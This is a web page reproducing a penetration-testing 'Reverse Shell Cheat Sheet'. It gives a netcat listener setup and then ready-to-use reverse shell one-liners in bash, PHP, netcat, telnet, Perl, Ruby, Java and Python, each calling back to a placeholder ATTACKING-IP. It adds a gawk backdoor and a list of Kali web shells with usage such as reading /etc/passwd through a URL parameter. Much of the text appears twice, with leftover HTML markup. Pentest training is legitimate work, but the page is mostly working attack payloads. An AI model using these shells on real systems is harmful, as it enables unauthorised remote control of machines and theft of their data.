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Reverse Shell Cheat Sheet

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During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.

Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.

Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the following:

<span class="gp">root@kali:~# </span>nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

root@kali:~# nc -nvlp 80

nc: listening on :: 80 ...

nc: listening on 0.0.0.0 80 ...

NAT requires a port forward

If you’re attacking machine is behing a NAT router, you’ll need to setup a port forward to the attacking machines IP / Port.

ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

<span class="nb">exec</span> /bin/bash 0&0 2>&0

1	<span class="nb">exec</span> /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196

1	0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196

<span class="nb">exec </span>5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | <span class="k">while </span><span class="nb">read </span>line; <span class="k">do</span> <span class="nv">$line</span> 2>&5 >&5; <span class="k">done</span>  

<span class="c"># or:</span>

<span class="k">while </span><span class="nb">read </span>line 0<&5; <span class="k">do</span> <span class="nv">$line</span> 2>&5 >&5; <span class="k">done</span>

exec 5<>/dev/tcp/ATTACKING-IP/80

cat <&5 | while read line; do $line 2>&5 >&5; done

# or:

while read line 0<&5; do $line 2>&5 >&5; done

bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

1	bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell

php -r <span class="s1">'$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'</span>
<span class="o">(</span>Assumes TCP uses file descriptor 3. If it doesn<span class="s1">'t work, try 4,5, or 6)</span>

1 2	php -r <span class="s1">'$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'</span> <span class="o">(</span>Assumes TCP uses file descriptor 3. If it doesn<span class="s1">'t work, try 4,5, or 6)</span>

Netcat Reverse Shell

nc -e /bin/sh ATTACKING-IP 80

1	nc -e /bin/sh ATTACKING-IP 80

/bin/sh | nc ATTACKING-IP 80

1	/bin/sh \| nc ATTACKING-IP 80

rm -f /tmp/p; mknod /tmp/p p <span class="o">&&</span> nc ATTACKING-IP 4444 0/tmp/p

1	rm -f /tmp/p; mknod /tmp/p p <span class="o">&&</span> nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p <span class="o">&&</span> telnet ATTACKING-IP 80 0/tmp/p

1	rm -f /tmp/p; mknod /tmp/p p <span class="o">&&</span> telnet ATTACKING-IP 80 0/tmp/p

telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

1	telnet ATTACKING-IP 80 \| /bin/bash \| telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

<span class="nv">perl</span> <span class="o">-</span><span class="nv">e</span> <span class="s">'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</span>

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell

<span class="nv">perl</span> <span class="o">-</span><span class="nv">MIO</span> <span class="o">-</span><span class="nv">e</span> <span class="s">'$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'</span>

1	<span class="nv">perl</span> <span class="o">-</span><span class="nv">MIO</span> <span class="o">-</span><span class="nv">e</span> <span class="s">'$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'</span>

<span class="nv">perl</span> <span class="o">-</span><span class="nv">e</span> <span class="s">'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</span>

Ruby Reverse Shell

<span class="n">ruby</span> <span class="o">-</span><span class="n">rsocket</span> <span class="o">-</span><span class="n">e</span><span class="s1">'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</span>

1	<span class="n">ruby</span> <span class="o">-</span><span class="n">rsocket</span> <span class="o">-</span><span class="n">e</span><span class="s1">'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</span>

Java Reverse Shell

<span class="n">r</span> <span class="o">=</span> <span class="n">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">()</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="na">exec</span><span class="o">([</span><span class="s">"/bin/bash"</span><span class="o">,</span><span class="s">"-c"</span><span class="o">,</span><span class="s">"exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"</span><span class="o">]</span> <span class="n">as</span> <span class="n">String</span><span class="o">[])</span>
<span class="n">p</span><span class="o">.</span><span class="na">waitFor</span><span class="o">()</span>

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

Python Reverse Shell

<span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span>

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

#!/usr/bin/gawk -f

BEGIN {

Port = 8080

Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0"

while (1) {

do {

printf Prompt |& Service

Service |& getline cmd

if (cmd) {

while ((cmd |& getline) > 0)

print $0 |& Service

close(cmd)

}

} while (cmd != "exit")

close(Service)

}

Kali Web Shells

The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

COMMAND	DESCRIPTION
`/usr/share/webshells/php/ php-reverse-shell.php`	Pen Test Monkey – PHP Reverse Shell
`/usr/share/webshells/ php/php-findsock-shell.php/usr/share/webshells/ php/findsock.c`	Pen Test Monkey, Findsock Shell. Build `gcc -o findsock findsock.c` (be mindfull of the target servers architecture), execute with netcat not a browser `nc -v target 80`
`/usr/share/webshells/ php/simple-backdoor.php`	PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: `http://target.com/simple- backdoor.php?cmd=cat+/etc/passwd`
`/usr/share/webshells/ php/php-backdoor.php`	Larger PHP shell, with a text input box for command execution.

Tip: Executing Reverse Shells

The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

COMMAND	DESCRIPTION
`/usr/share/webshells/perl/ perl-reverse-shell.pl`	Pen Test Monkey – Perl Reverse Shell
`/usr/share/webshells/ perl/perlcmd.cgi`	Pen Test Monkey, Perl Shell. Usage: `http://target.com/perlcmd.cgi?cat /etc/passwd`

Kali Cold Fusion Shell

COMMAND	DESCRIPTION
`/usr/share/webshells/cfm/cfexec.cfm`	Cold Fusion Shell – aka CFM Shell

Kali ASP Shell

COMMAND	DESCRIPTION
`/usr/share/webshells/asp/`	Kali ASP Shells

Kali ASPX Shells

COMMAND	DESCRIPTION
`/usr/share/webshells/aspx/`	Kali ASPX Shells

Kali JSP Reverse Shell

COMMAND	DESCRIPTION
`/usr/share/webshells/jsp/jsp-reverse.jsp`	Kali JSP Reverse Shell

You might want to read :

1- Kali Linux Hackers Cheat Sheet https://www.ethicalhackx.com/kali-linux-hacking-commands-list

1 COMMENT

Hacking Kioptrix 2014 – NandTech April 18, 2018 at 1:24 am

At this point, I thought about trying to use some programming languages to do the shell connection. Python was unfortunately not installed in the machine (192.168.209.144:8080/phptax/data/ourcode.php?cmd=which python) but Perl actually existed (192.168.209.144:8080/phptax/data/ourcode.php?cmd=which perl) so by having this Perl reverse shell snippet from ethicalhackx:

Reply

Reverse Shell Cheat Sheet

Setup Listening Netcat

Set your Netcat listening shell on an allowed port

NAT requires a port forward

Bash Reverse Shells

PHP Reverse Shell

Netcat Reverse Shell

Telnet Reverse Shell

Perl Reverse Shell

Perl Windows Reverse Shell

Ruby Reverse Shell

Java Reverse Shell

Python Reverse Shell

Gawk Reverse Shell

Kali Web Shells

Kali PHP Web Shells

Tip: Executing Reverse Shells

Kali Perl Reverse Shell

Kali Cold Fusion Shell

Kali ASP Shell

Kali ASPX Shells

Kali JSP Reverse Shell

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